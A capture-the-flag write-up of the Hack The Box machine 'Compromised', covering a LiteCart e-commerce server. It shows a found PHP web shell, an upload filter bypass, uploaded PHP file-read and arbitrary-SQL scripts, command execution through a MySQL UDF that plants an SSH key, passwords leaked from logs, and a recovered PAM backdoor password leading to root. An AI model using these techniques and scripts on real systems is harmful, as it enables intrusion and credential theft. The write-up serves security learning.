HTB: Compromised

Details

A writeup of Compromised from Hack The Box

Recon

kali@kali:~$ nmap -sV -p- 10.10.10.207
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-13 09:55 EST
Nmap scan report for 10.10.10.207
Host is up (0.013s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 134.26 seconds

User

I tried http://10.10.10.207 which redirected to http://10.10.10.207/shop/en/

Screenshot 1

This is running litecart with a known exploit https://www.exploit-db.com/exploits/45267, but it needs creds. So I setup a dirbust

Screenshot 2

I went to /backup

Screenshot 3

Then saved and extracted this file

kali@kali:~$ tar xvf a.tar.gz 
shop/
shop/.htaccess
shop/index.php
[SNIP]

It seems to be a backup of the shop

kali@kali:~/shop$ ls -la
total 76
drwxr-xr-x 11 kali kali  4096 May 28 02:05 .
drwxrwxrwt 19 root root  4096 Nov 13 10:09 ..
drwxr-xr-x 24 kali kali  4096 Sep  3 07:50 admin
drwxr-xr-x  2 kali kali  4096 May 28 00:52 cache
drwxr-xr-x  2 kali kali  4096 May 28 00:39 data
drwxr-xr-x  7 kali kali  4096 May 14  2018 ext
-rw-r--r--  1 kali kali 15086 May 28 00:39 favicon.ico
-rw-r--r--  1 kali kali  2854 May 28 00:39 .htaccess
drwxr-xr-x 10 kali kali  4096 May 28 00:39 images
drwxr-xr-x 11 kali kali  4096 May 28 00:57 includes
-rw-r--r--  1 kali kali  2508 May 14  2018 index.php
drwxr-xr-x  2 kali kali  4096 May 28 00:39 logs
drwxr-xr-x  4 kali kali  4096 May 14  2018 pages
-rw-r--r--  1 kali kali    71 May 28 00:39 robots.txt
-rw-r--r--  1 kali kali    35 May 28 02:05 .sh.php
drwxr-xr-x  4 kali kali  4096 May 29 01:00 vqmod

the .sh.php file seems interesting

kali@kali:~/shop$ cat .sh.php 
<?php system($_REQUEST['cmd']); ?>

Messing around with this, it didn't seem to work on the live version, so I moved on. In the logs directory

kali@kali:~/shop/logs$  ls -la
total 28
drwxr-xr-x  2 kali kali 4096 May 28 00:39 .
drwxr-xr-x 11 kali kali 4096 May 28 02:05 ..
-rw-r--r--  1 kali kali  286 May 28 01:48 errors.log
-rw-r--r--  1 kali kali  169 May 14  2018 .htaccess
-rw-r--r--  1 kali kali 9982 May 28 00:39 http_request_last.log
-rw-r--r--  1 kali kali    0 May 14  2018 index.html
-rw-r--r--  1 kali kali    0 May 14  2018 not_found.log
-rw-r--r--  1 kali kali    0 May 14  2018 performance.log
kali@kali:~/shop/logs$ cat errors.log 
[28-May-2020 01:48:07 America/New_York] Notice: Undefined index: password in ~/admin/login.php on line 28
Request: GET /shop/admin/login.php HTTP/1.1
Client: 192.168.1.209 (kali-pentest.fios-router.home)
User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

That is interesting, so I took a look at the login.php file

kali@kali:~/shop/admin$ cat login.php 
<?php
  require_once('../includes/app_header.inc.php');

  document::$template = settings::get('store_template_admin');
  document::$layout = 'login';

  if (!empty($_GET['redirect_url'])) {
    $redirect_url = (basename(parse_url($_REQUEST['redirect_url'], PHP_URL_PATH)) != basename(__FILE__)) ? $_REQUEST['redirect_url'] : document::link(WS_DIR_ADMIN);
  } else {
    $redirect_url = document::link(WS_DIR_ADMIN);
  }

  header('X-Robots-Tag: noindex');
  document::$snippets['head_tags']['noindex'] = '<meta name="robots" content="noindex" />';

  if (!empty(user::$data['id'])) notices::add('notice', language::translate('text_already_logged_in', 'You are already logged in'));

  if (isset($_POST['login'])) {
    //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
    user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
  }

  if (empty($_POST['username']) && !empty($_SERVER['PHP_AUTH_USER'])) $_POST['username'] = !empty($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';

  $page_login = new view();
  $page_login->snippets = array(
    'action' => $redirect_url,
  );
  echo $page_login->stitch('pages/login');

  require_once vmod::check(FS_DIR_HTTP_ROOT . WS_DIR_INCLUDES . 'app_footer.inc.php');

There is a commented line to put creds in a log file, so I tested if that file exists at http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt

Screenshot 4

admin : theNextGenSt0r3!~

I logged in with these at http://10.10.10.207/shop/admin/login.php

Screenshot 5

Screenshot 6

I also found a version identifier, confirming it should be vulnerable to the exploit found earlier

Screenshot 7

I saved the exploit as exploit.py and tested it

kali@kali:~$ python exploit.py -t http://10.10.10.207/shop/admin/ -u admin -p 'theNextGenSt0r3!~'
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/X1STV.php?c=id

I tested the shell but it didn't work. I checked the file with curl

kali@kali:~$ curl 'http://10.10.10.207/shop/admin/../vqmod/xml/X1STV.php?c=id' -vv
*   Trying 10.10.10.207:80...
* Connected to 10.10.10.207 (10.10.10.207) port 80 (#0)
> GET /shop/vqmod/xml/X1STV.php?c=id HTTP/1.1
> Host: 10.10.10.207
> User-Agent: curl/7.72.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 13 Nov 2020 15:32:34 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host 10.10.10.207 left intact

200 OK. So the file exists but maybe the php is blocked. So I decided to run the exploit manually. I created a file called info.php containing

<?php phpinfo() ?> 

I checked the exploit code, it uploads to http://10.10.10.207/shop/admin/?app=vqmods&doc=vqmods so I went to the url to check it

Screenshot 8

It seems I need to set the content type to application/xml too, so I uploaded my info file and caught the request in burp

Screenshot 9

I changed the application/x-php to application/xml

Screenshot 10

And allowed the request to go through

Screenshot 11

And I went to http://10.10.10.207/shop/vqmod/xml/info.php

Screenshot 12

This worked, it also revealed my problem

Screenshot 13

The normal code execution functions are blocked. So I began to upload additional files to give myself functionality, including a file called read_file.php

kali@kali:~$ read_file.php
<?php echo file_get_contents($_GET['file']); ?>
kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/read_file.php?file=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash
red:x:1001:1001::/home/red:/bin/false

I found it weird that the mysql user had /bin/bash as its shell. So I read the config file

kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/read_file.php?file=../../includes/config.inc.php'
[SNIP]
// Database
  define('DB_TYPE', 'mysql');
  define('DB_SERVER', 'localhost');
  define('DB_USERNAME', 'root');
  define('DB_PASSWORD', 'changethis');
  define('DB_DATABASE', 'ecom');
  define('DB_TABLE_PREFIX', 'lc_');
  define('DB_CONNECTION_CHARSET', 'utf8');
  define('DB_PERSISTENT_CONNECTIONS', 'false');
[SNIP]

With db creds, I created a new php file which allowed me to run arbitrary sql

kali@kali:~$ cat db_access.php
<?php

    try {
        $DB_SERVER = 'localhost';
        $DB_USERNAME = 'root';
        $DB_PASSWORD = 'changethis';

        $mysqli = new mysqli($DB_SERVER, $DB_USERNAME, $DB_PASSWORD);

        if ($mysqli->connect_errno) {
                echo "Failed to get to db";
        }

        $sql = $_POST['query'];

        echo "Running: " . $sql ."\n\n";

        $result = $mysqli->query($sql);

        echo "Result of query:\n";
        var_dump($result);
        echo "\n\n";

        echo "Result of switching to assocs:\n";

        while($dump = $result->fetch_assoc()) {
            var_dump($dump);
        }
        echo "\nDone dumping";
    }
    catch(Exception $e) {

        echo $e->getMessage();

    }
?>

I tested this with

kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/db_access.php' --data "query=show databases" 
Running: show databases

Result of query:
object(mysqli_result)#2 (5) {
  ["current_field"]=>
  int(0)
  ["field_count"]=>
  int(1)
  ["lengths"]=>
  NULL
  ["num_rows"]=>
  int(5)
  ["type"]=>
  int(0)
}

Result of switching to assocs:
array(1) {
  ["Database"]=>
  string(18) "information_schema"
}
array(1) {
  ["Database"]=>
  string(4) "ecom"
}
array(1) {
  ["Database"]=>
  string(5) "mysql"
}
array(1) {
  ["Database"]=>
  string(18) "performance_schema"
}
array(1) {
  ["Database"]=>
  string(3) "sys"
}

Done dumping

So in theory if I can use this to write an ssh key for the mysql user, I can ssh in as them. The directory would be

/var/lib/mysql/.ssh/authorized_keys

I tried various payloads including select into outfile but no luck. Eventually I checked for any mysql functions

kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/db_access.php' --data "query=SELECT * from mysql.func;"                              
Running: SELECT * from mysql.func;

Result of query:
object(mysqli_result)#2 (5) {
  ["current_field"]=>
  int(0)
  ["field_count"]=>
  int(4)
  ["lengths"]=>
  NULL
  ["num_rows"]=>
  int(1)
  ["type"]=>
  int(0)
}

Result of switching to assocs:
array(4) {
  ["name"]=>
  string(8) "exec_cmd"
  ["ret"]=>
  string(1) "0"
  ["dl"]=>
  string(11) "libmysql.so"
  ["type"]=>
  string(8) "function"
}

Done dumping

A function for executing commands looks interesting

kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/db_access.php' --data "query=SELECT exec_cmd('id')" --output -
Running: SELECT exec_cmd('id')

Result of query:
object(mysqli_result)#2 (5) {
  ["current_field"]=>
  int(0)
  ["field_count"]=>
  int(1)
  ["lengths"]=>
  NULL
  ["num_rows"]=>
  int(1)
  ["type"]=>
  int(0)
}

Result of switching to assocs:
array(1) {
  ["exec_cmd('id')"]=>
  string(766) "uid=111(mysql) gid=113(mysql) groups=113(mysql)
"
}

Done dumping

So I tried the dropping an ssh key in thing using this. I initially tried a ssh-rsa key, but it didn't work. Using an ssh-ed25519 did.

kali@kali:~$ curl 'http://10.10.10.207/shop/vqmod/xml/db_access.php' --data "query=SELECT exec_cmd('echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJGpeMMP4u1WOMNQsVxD46bA2pwrDiskxPaUXwfyvw8R kali@kali > /var/lib/mysql/.ssh/authorized_keys')" --output -
Running: SELECT exec_cmd('echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJGpeMMP4u1WOMNQsVxD46bA2pwrDiskxPaUXwfyvw8R kali@kali > /var/lib/mysql/.ssh/authorized_keys')

Result of query:
object(mysqli_result)#2 (5) {
  ["current_field"]=>
  int(0)
  ["field_count"]=>
  int(1)
  ["lengths"]=>
  NULL
  ["num_rows"]=>
  int(1)
  ["type"]=>
  int(0)
}

Result of switching to assocs:
array(1) {
  ["exec_cmd('echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJGpeMMP4u1WOMNQsVxD46bA2pwrDiskxPaUXwfyvw8R kali@kali > /var/lib/mysql/.ssh/authorized_keys')"]=>
  string(766) ""
}

Done dumping
kali@kali:~$ ssh -i /tmp/key mysql@10.10.10.207
Last login: Fri Nov 13 17:20:39 2020 from 10.10.14.21
mysql@compromised:~$

And began to look around

mysql@compromised:~$ ls -la
total 189280
drwx------  9 mysql mysql     4096 Nov 13 14:55 .
drwxr-xr-x 43 root  root      4096 May 24 21:21 ..
-rw-r-----  1 mysql mysql       56 May  8  2020 auto.cnf
lrwxrwxrwx  1 root  root         9 May  9  2020 .bash_history -> /dev/null
-rw-------  1 mysql mysql     1680 May  8  2020 ca-key.pem
-rw-r--r--  1 mysql mysql     1112 May  8  2020 ca.pem
-rw-r--r--  1 mysql mysql     1112 May  8  2020 client-cert.pem
-rw-------  1 mysql mysql     1676 May  8  2020 client-key.pem
-rw-r--r--  1 root  root         0 May  8  2020 debian-5.7.flag
drwxr-x---  2 mysql mysql    12288 May 28 04:39 ecom
drwx------  3 mysql mysql     4096 May  9  2020 .gnupg
-rw-r-----  1 mysql mysql      527 Sep 12 19:55 ib_buffer_pool
-rw-r-----  1 mysql mysql 79691776 Nov 13 14:55 ibdata1
-rw-r-----  1 mysql mysql 50331648 Nov 13 14:55 ib_logfile0
-rw-r-----  1 mysql mysql 50331648 May 27 04:03 ib_logfile1
-rw-r-----  1 mysql mysql 12582912 Nov 13 16:49 ibtmp1
drwxrwxr-x  3 mysql mysql     4096 May  9  2020 .local
drwxr-x---  2 mysql mysql     4096 May  8  2020 mysql
lrwxrwxrwx  1 root  root         9 May 13  2020 .mysql_history -> /dev/null
drwxr-x---  2 mysql mysql     4096 May  8  2020 performance_schema
-rw-------  1 mysql mysql     1680 May  8  2020 private_key.pem
-rw-r--r--  1 mysql mysql      452 May  8  2020 public_key.pem
-rw-r--r--  1 mysql mysql     1112 May  8  2020 server-cert.pem
-rw-------  1 mysql mysql     1680 May  8  2020 server-key.pem
drwxrwxr-x  2 mysql mysql     4096 Nov 13 17:15 .ssh
-r--r-----  1 root  mysql   787180 May 13  2020 strace-log.dat
drwxr-x---  2 mysql mysql    12288 May  8  2020 sys

An strace-log file is interesting

mysql@compromised:~$ grep password strace-log.dat 
22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0
22228 03:11:15 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:16 write(2, "mysql -u root --password='change"..., 35) = 35
22229 03:11:18 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changethis"], 0x55bc62467900 /* 21 vars */) = 0
22229 03:11:18 write(2, "[Warning] Using a password on th"..., 73) = 73
22232 03:11:52 openat(AT_FDCWD, "/etc/pam.d/common-password", O_RDONLY) = 5
22232 03:11:52 read(5, "#\n# /etc/pam.d/common-password -"..., 4096) = 1440
22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30

So I had a new password of

3*NLJE32I$Fe

I tried this for the other users

sysadmin
red

And it worked for sysadmin

kali@kali:~$ ssh sysadmin@10.10.10.207 
sysadmin@10.10.10.207's password: 
Last login: Thu Sep  3 11:47:43 2020 from 10.10.14.2
sysadmin@compromised:~$

sysadmin@compromised:~$ cat user.txt 
[REDACTED

Root

I spent a while enumerating this box, before returning to the theme of following in the footsteps of someone who has already compromised it. So I looked for recently modified files (although "recent" taken to mean a time near when the box image was created rather than when I was working on it)

sysadmin@compromised:~$ find / -newermt "2020-04-14" -printf "%T@ %Tc %p\n" 2>/dev/null | grep -v sys| grep -v proc | grep -v dev |sort -n
[SNIP]
1598844317.4559916850 Mon 31 Aug 2020 03:25:17 AM UTC /lib/x86_64-linux-gnu/security/.pam_unix.so
1598844357.6079903490 Mon 31 Aug 2020 03:25:57 AM UTC /lib/x86_64-linux-gnu/security/pam_unix.so
1598844369.3759899570 Mon 31 Aug 2020 03:26:09 AM UTC /lib/x86_64-linux-gnu/security
[SNIP]

The modification of pam is interesting as it is a file used in auth and a fairly common method of backdooring a machine

sysadmin@compromised:/lib/x86_64-linux-gnu/security$ ls -la
[SNIP]
-rw-r--r-- 1 root root 198440 Aug 31 03:25 .pam_unix.so
-rw-r--r-- 1 root root 198440 Aug 31 03:25 pam_unix.so
-rw-r--r-- 1 root root  14448 Feb 27  2019 pam_userdb.so
[SNIP]

I exfilled the file

kali@kali:~$ scp sysadmin@10.10.10.207:/lib/x86_64-linux-gnu/security/pam_unix.so /tmp/

And inspected it in ghidra, inside the pam_sm_authenticate method I found

Screenshot 14

If you try to login as root it allows use of a second hard coded backdoor password

backdoor._0_8_ = 0x4533557e656b6c7a;
backdoor._8_7_ = 0x2d326d3238766e;

Which is

E3U~eklz
-2m28vn

Account for endianness

zlke~U3E
nv82m2-

Making the final password

zlke~U3Env82m2-

So I used this to su

sysadmin@compromised:/lib/x86_64-linux-gnu/security$ su
Password: 
root@compromised:/lib/x86_64-linux-gnu/security#

And grabbed the flag

root@compromised:~# ls -la
total 40
drwx------  5 root root 4096 Sep  9 10:33 .
drwxr-xr-x 24 root root 4096 Sep  9 12:02 ..
lrwxrwxrwx  1 root root    9 May 13  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3139 May 13  2020 .bashrc
drwx------  2 root root 4096 May 13  2020 .cache
drwx------  3 root root 4096 May 13  2020 .gnupg
drwxr-xr-x  3 root root 4096 May 13  2020 .local
-rw-------  1 root root    0 Aug 30 21:44 .mysql_history
-rw-r--r--  1 root root  148 May 13  2020 .profile
-r--------  1 root root   33 Nov 13 14:57 root.txt
-rw-------  1 root root 1447 Sep  9 10:33 .viminfo
-rw-r--r--  1 root root  291 May 27 03:35 .wget-hsts

root@compromised:~# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *